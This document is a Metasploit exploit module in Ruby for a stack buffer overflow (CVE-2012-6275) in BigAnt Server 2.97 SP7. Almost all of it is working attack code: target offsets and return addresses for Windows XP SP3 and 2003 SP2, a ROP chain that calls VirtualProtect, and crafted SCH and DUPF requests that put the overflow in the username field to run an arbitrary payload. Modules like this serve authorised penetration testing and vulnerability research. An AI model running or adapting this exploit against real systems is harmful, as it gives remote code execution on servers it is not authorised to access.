BigAnt Server 2 SCH And DUPF Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow',  
'Description' => %q{  
This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The  
vulnerability is due to the dangerous usage of strcpy while handling errors. This  
module uses a combination of SCH and DUPF request to trigger the vulnerability, and  
has been tested successfully against version 2.97 SP7 over Windows XP SP3 and  
Windows 2003 SP2.  
},  
'Author' =>  
[  
'Hamburgers Maccoy', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-6275' ],  
[ 'US-CERT-VU', '990652' ],  
[ 'BID', '57214' ],  
[ 'OSVDB', '89344' ]  
],  
'Payload' =>  
{  
'Space' => 2500,  
'BadChars' => "\x00\x0a\x0d\x25\x27",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'BigAnt Server 2.97 SP7 / Windows XP SP3',  
{  
'Offset' => 629,  
'Ret' => 0x77c21ef4, # ppr from msvcrt  
'JmpESP' => 0x77c35459, # push esp # ret from msvcrt  
'FakeObject' => 0x77C60410 # .data from msvcrt  
}  
],  
[ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',  
{  
'Offset' => 629,  
'Ret' => 0x77bb287a, # ppr from msvcrt  
'FakeObject' => 0x77bf2460, # .data from msvcrt  
:callback_rop => :w2003_sp2_rop  
}  
]  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 09 2013'))  
  
register_options([Opt::RPORT(6661)], self.class)  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V")[0].to_i  
end  
  
def nop  
return make_nops(4).unpack("V")[0].to_i  
end  
  
def w2003_sp2_rop  
rop_gadgets =  
[  
0x77bc5d88, # POP EAX # RETN  
0x77ba1114, # <- *&VirtualProtect()  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77bb0c86, # XCHG EAX,ESI # RETN  
0x77bc9801, # POP EBP # RETN  
0x77be2265, # ptr to 'push esp # ret'  
0x77bc5d88, # POP EAX # RETN  
0x03C0990F,  
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)  
0x77bb48d3, # POP EBX, RET  
0x77bf21e0, # .data  
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN  
0x77bbfc02, # POP ECX # RETN  
0x77bef001, # W pointer (lpOldProtect) (-> ecx)  
0x77bd8c04, # POP EDI # RETN  
0x77bd8c05, # ROP NOP (-> edi)  
0x77bc5d88, # POP EAX # RETN  
0x03c0984f,  
0x77bdd441, # SUB EAX, 03c0940f  
0x77bb8285, # XCHG EAX,EDX # RETN  
0x77bc5d88, # POP EAX # RETN  
nop,  
0x77be6591, # PUSHAD # ADD AL,0EF # RETN  
].pack("V*")  
  
return rop_gadgets  
end  
  
def exploit  
  
sploit = rand_text_alpha(target['Offset'])  
sploit << [target.ret].pack("V")  
sploit << [target['FakeObject']].pack("V")  
sploit << [target['FakeObject']].pack("V")  
if target[:callback_rop] and self.respond_to?(target[:callback_rop])  
sploit << self.send(target[:callback_rop])  
else  
sploit << [target['JmpESP']].pack("V")  
end  
sploit << payload.encoded  
  
random_filename = rand_text_alpha(4)  
random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"  
random_userid = rand_text_numeric(1)  
random_username = rand_text_alpha_lower(5)  
random_content = rand_text_alpha(10 + rand(10))  
  
sch = "SCH 16\n"  
sch << "cmdid: 1\n"  
sch << "content-length: 0\n"  
sch << "content-type: Appliction/Download\n"  
sch << "filename: #{random_filename}.txt\n"  
sch << "modified: #{random_date}\n"  
sch << "pclassid: 102\n"  
sch << "pobjid: 1\n"  
sch << "rootid: 1\n"  
sch << "sendcheck: 1\n"  
sch << "source_cmdname: DUPF\n"  
sch << "source_content-length: 116619\n"  
sch << "userid: #{random_userid}\n"  
sch << "username: #{sploit}\n\n"  
  
print_status("Trying target #{target.name}...")  
  
connect  
print_status("Sending SCH request...")  
sock.put(sch)  
res = sock.get_once  
if res.nil?  
fail_with(Exploit::Failure::Unknown, "No response to the SCH request")  
end  
if res=~ /scmderid: \{(.*)\}/  
scmderid = $1  
else  
fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")  
end  
  
dupf = "DUPF 16\n"  
dupf << "cmdid: 1\n"  
dupf << "content-length: #{random_content.length}\n"  
dupf << "content-type: Appliction/Download\n"  
dupf << "filename: #{random_filename}.txt\n"  
dupf << "modified: #{random_date}\n"  
dupf << "pclassid: 102\n"  
dupf << "pobjid: 1\n"  
dupf << "rootid: 1\n"  
dupf << "scmderid: {#{scmderid}}\n"  
dupf << "sendcheck: 1\n"  
dupf << "userid: #{random_userid}\n"  
dupf << "username: #{random_username}\n\n"  
dupf << random_content  
  
print_status("Sending DUPF request...")  
sock.put(dupf)  
#sock.get_once  
disconnect  
  
end  
  
end  
`